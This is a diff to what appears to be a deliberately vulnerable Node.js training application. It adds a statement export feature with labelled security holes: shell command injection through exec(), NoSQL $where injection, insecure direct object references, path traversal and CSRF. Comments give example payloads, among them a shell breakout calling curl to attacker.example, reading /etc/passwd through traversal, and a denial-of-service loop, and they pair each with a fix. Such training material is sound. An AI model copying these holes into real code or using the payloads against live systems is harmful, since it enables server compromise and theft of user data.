diff --git a/.gitignore b/.gitignore index 4cd536b01f..4734fbeeb6 100644 --- a/.gitignore +++ b/.gitignore @@ -29,3 +29,6 @@ test/e2e/videos/ # ignore Snyk Code scanner files .dccache + +# generated statement export files (see app/utils/statement-export.js) +app/data/exports/ diff --git a/app/data/statement-dao.js b/app/data/statement-dao.js new file mode 100644 index 0000000000..80f92cae7d --- /dev/null +++ b/app/data/statement-dao.js @@ -0,0 +1,78 @@ +/* The StatementDAO must be constructed with a connected database object */ +function StatementDAO(db) { + + "use strict"; + + /* If this constructor is called without the "new" operator, "this" points + * to the global object. Log a warning and call it correctly. */ + if (false === (this instanceof StatementDAO)) { + console.log("Warning: StatementDAO constructor called without 'new' operator"); + return new StatementDAO(db); + } + + const statementsCol = db.collection("statements"); + + this.insert = (userId, fileName, notes, callback) => { + + const statement = { + userId: parseInt(userId), + fileName, + notes, + timestamp: new Date() + }; + + statementsCol.insert(statement, (err, result) => !err ? callback(null, result) : callback(err, null)); + }; + + this.getAllForUser = (userId, filters, callback) => { + const parsedUserId = parseInt(userId); + const { search } = filters || {}; + + const searchCriteria = () => { + if (search) { + /* + * VULNERABLE (A1 - NoSQL Injection): `search` is forwarded here + * from statement.js -> displayStatement, which reads it straight + * from req.query.search. It is concatenated into a MongoDB + * $where clause, which runs arbitrary JavaScript server-side + * against every document in the collection. + * + * Example payloads (as the `search` query string parameter): + * ') || ('1'=='1 -> dumps every user's statements, not just this account's + * ');return(true);(this.notes||' -> matches everything regardless of content + * ');while(true){};(' -> denial of service, blocks the event loop + * + * Fix: never build $where from user input. Use a plain field + * match / $regex instead, e.g.: + * return { userId: parsedUserId, notes: { $regex: escapeRegex(search) } }; + */ + return { + $where: `this.userId == ${parsedUserId} && this.notes.indexOf('${search}') !== -1` + }; + } + return { + userId: parsedUserId + }; + }; + + statementsCol.find(searchCriteria()).sort({ + timestamp: -1 + }).toArray((err, statements) => { + if (err) return callback(err, null); + return callback(null, statements || []); + }); + }; + + this.remove = (userId, fileName, callback) => { + // Note: this only scopes by the *URL supplied* userId, not the + // authenticated session user - see the missing ownership check in + // statement.js -> deleteStatement. + statementsCol.remove({ + userId: parseInt(userId), + fileName + }, err => callback(err, null)); + }; + +} + +module.exports = { StatementDAO }; diff --git a/app/routes/index.js b/app/routes/index.js index ced0fdc454..6ac4d171ca 100644 --- a/app/routes/index.js +++ b/app/routes/index.js @@ -6,6 +6,7 @@ const AllocationsHandler = require("./allocations"); const MemosHandler = require("./memos"); const ResearchHandler = require("./research"); const ReportsHandler = require("./reports"); +const StatementHandler = require("./statement"); const tutorialRouter = require("./tutorial"); const ErrorHandler = require("./error").errorHandler; @@ -21,6 +22,7 @@ const index = (app, db) => { const memosHandler = new MemosHandler(db); const researchHandler = new ResearchHandler(db); const reportsHandler = new ReportsHandler(); + const statementHandler = new StatementHandler(db); // Middleware to check if a user is logged in const isLoggedIn = sessionHandler.isLoggedInMiddleware; @@ -81,6 +83,12 @@ const index = (app, db) => { app.get("/reports", isLoggedIn, reportsHandler.searchEmployees); app.get("/reports/employee/:id", isLoggedIn, reportsHandler.getEmployee); + // Statements Page - export/download/delete account statements + app.get("/statement/:userId", isLoggedIn, statementHandler.displayStatement); + app.post("/statement/:userId/export", isLoggedIn, statementHandler.handleExportRequest); + app.get("/statement/:userId/download/:fileName", isLoggedIn, statementHandler.downloadStatement); + app.get("/statement/:userId/delete/:fileName", isLoggedIn, statementHandler.deleteStatement); + // Mount tutorial router app.use("/tutorial", tutorialRouter); diff --git a/app/routes/statement.js b/app/routes/statement.js new file mode 100644 index 0000000000..24808e6f89 --- /dev/null +++ b/app/routes/statement.js @@ -0,0 +1,121 @@ +const fs = require("fs"); +const path = require("path"); +const StatementDAO = require("../data/statement-dao").StatementDAO; +const { exportStatementToFile, EXPORT_DIR } = require("../utils/statement-export"); +const { + environmentalScripts +} = require("../../config/config"); + +/* The StatementHandler must be constructed with a connected db */ +function StatementHandler(db) { + "use strict"; + + const statementDAO = new StatementDAO(db); + + /* + * A4 - Missing Function Level Access Control / Insecure Direct Object + * Reference. The account whose statements are displayed is taken from the + * URL (:userId) instead of the authenticated session, and nothing checks + * that the logged-in user owns that account. Any logged-in user can view + * another user's statement history and notes just by changing the userId + * segment of the URL, e.g. /statement/1, /statement/2, /statement/3, ... + * + * Fix: + * const { userId } = req.session; + * if (parseInt(req.params.userId, 10) !== parseInt(userId, 10)) { + * return res.redirect("/dashboard"); + * } + */ + this.displayStatement = (req, res, next) => { + const { + userId + } = req.params; + const { + search + } = req.query; + + statementDAO.getAllForUser(userId, { search }, (err, statements) => { + if (err) return next(err); + + return res.render("statement", { + userId, + statements, + searchTerm: search || "", + environmentalScripts + }); + }); + }; + + this.handleExportRequest = (req, res, next) => { + const { + userId + } = req.params; + const { + fileName, + notes + } = req.body; + + statementDAO.getAllForUser(userId, {}, (err, previousStatements) => { + if (err) return next(err); + + statementDAO.insert(userId, fileName, notes, (err) => { + if (err) return next(err); + + // Sink for the OS command injection - see app/utils/statement-export.js + exportStatementToFile(fileName, notes, previousStatements, (err) => { + if (err) return next(err); + return res.redirect(`/statement/${userId}`); + }); + }); + }); + }; + + /* + * A5 - Path Traversal / Arbitrary File Read. fileName comes straight from + * the URL and is joined onto EXPORT_DIR with no validation, so "../" + * sequences escape the export directory entirely. + * + * Example: GET /statement/1/download/..%2f..%2f..%2f..%2fetc%2fpasswd + * + * Fix: strip path separators from fileName, or resolve the final path and + * verify it still starts with EXPORT_DIR before reading it. + */ + this.downloadStatement = (req, res, next) => { + const { + fileName + } = req.params; + const filePath = path.join(EXPORT_DIR, fileName); + + fs.readFile(filePath, "utf8", (err, data) => { + if (err) return next(err); + res.set("Content-Type", "text/plain"); + return res.send(data); + }); + }; + + /* + * A8 - CSRF, combined with the same missing ownership check as above. + * Deletion is a state-changing action exposed via a plain GET request with + * no CSRF token, so a forged request from another site + * (e.g. ) executes + * using the victim's authenticated session the moment they view it. + */ + this.deleteStatement = (req, res, next) => { + const { + userId, + fileName + } = req.params; + + statementDAO.remove(userId, fileName, (err) => { + if (err) return next(err); + + const filePath = path.join(EXPORT_DIR, fileName); + fs.unlink(filePath, () => { + return res.redirect(`/statement/${userId}`); + }); + }); + }; + +} + +module.exports = StatementHandler; diff --git a/app/utils/statement-export.js b/app/utils/statement-export.js new file mode 100644 index 0000000000..b7762547bb --- /dev/null +++ b/app/utils/statement-export.js @@ -0,0 +1,57 @@ +/* + * A1 - OS Command Injection + * + * This module renders an account statement to a text file on disk. Instead of + * writing the file directly (fs.writeFile), it shells out via + * child_process.exec() and builds the command string by concatenating + * user-controlled values (fileName and notes, both supplied by the client in + * statement.js -> handleExportRequest) directly into the shell command. + * + * Because exec() runs the string through /bin/sh, any shell metacharacter in + * either value breaks out of the intended command: + * + * fileName: statement"; curl http://attacker.example/$(id) # + * notes: "; touch /tmp/pwned; echo " + * + * Fix: never build shell commands from user input. Write the file directly + * with fs.writeFile (no shell involved), and separately validate fileName + * against an allow-list pattern before using it in a path: + * + * const safeName = fileName.replace(/[^a-zA-Z0-9_-]/g, ""); + * fs.writeFile(`${EXPORT_DIR}/${safeName}.txt`, body, callback); + */ + +const { exec } = require("child_process"); +const fs = require("fs"); +const path = require("path"); + +const EXPORT_DIR = path.join(__dirname, "../data/exports"); + +// Ensure the export directory exists so the app is usable out of the box +if (!fs.existsSync(EXPORT_DIR)) { + fs.mkdirSync(EXPORT_DIR, { recursive: true }); +} + +const exportStatementToFile = (fileName, notes, previousStatements, callback) => { + const filePath = `${EXPORT_DIR}/${fileName}.txt`; + + const history = (previousStatements || []) + .map(s => `- ${s.fileName}: ${s.notes}`) + .join("\n"); + + const body = `Account Statement\n=================\n${notes}\n\nPrevious statements on file:\n${history}\n` + .replace(/\n/g, "\\n"); + + // Insecure: fileName and notes (embedded in `body`) come straight from the + // request body and are interpolated into a shell command. + const command = `echo "${body}" > "${filePath}"`; + + console.log(`[statement-export] Executing: ${command}`); + + exec(command, (err) => { + if (err) return callback(err, null); + return callback(null, { filePath, fileName }); + }); +}; + +module.exports = { exportStatementToFile, EXPORT_DIR }; diff --git a/app/views/layout.html b/app/views/layout.html index c146e7715b..ed42af9304 100644 --- a/app/views/layout.html +++ b/app/views/layout.html @@ -65,6 +65,8 @@
  • Reports
    • +
  • Statements +
    • {% endif %}
  • Logout
    • diff --git a/app/views/statement.html b/app/views/statement.html new file mode 100644 index 0000000000..671ecec94b --- /dev/null +++ b/app/views/statement.html @@ -0,0 +1,57 @@ +{% extends "./layout.html" %} {% block title %}Statements{% endblock %} {% block content %} + +
    +
    + +
    +
    +

    Search Statements

    +
    +
    +
    +
    + +
    + +
    + {% if searchTerm %} +

    Showing results for: {{searchTerm}}

    + {% endif %} +
    +
    + +
    +
    +

    Export a New Statement

    +
    +
    +
    +
    + + +
    +
    + + +
    + +
    +
    +
    + + {% for statement in statements %} +
    +
    + {{statement.fileName}} — {{statement.timestamp}} +
    +
    +

    {{statement.notes}}

    + Download + Delete +
    +
    + {% endfor %} + +
    +
    +{% endblock %}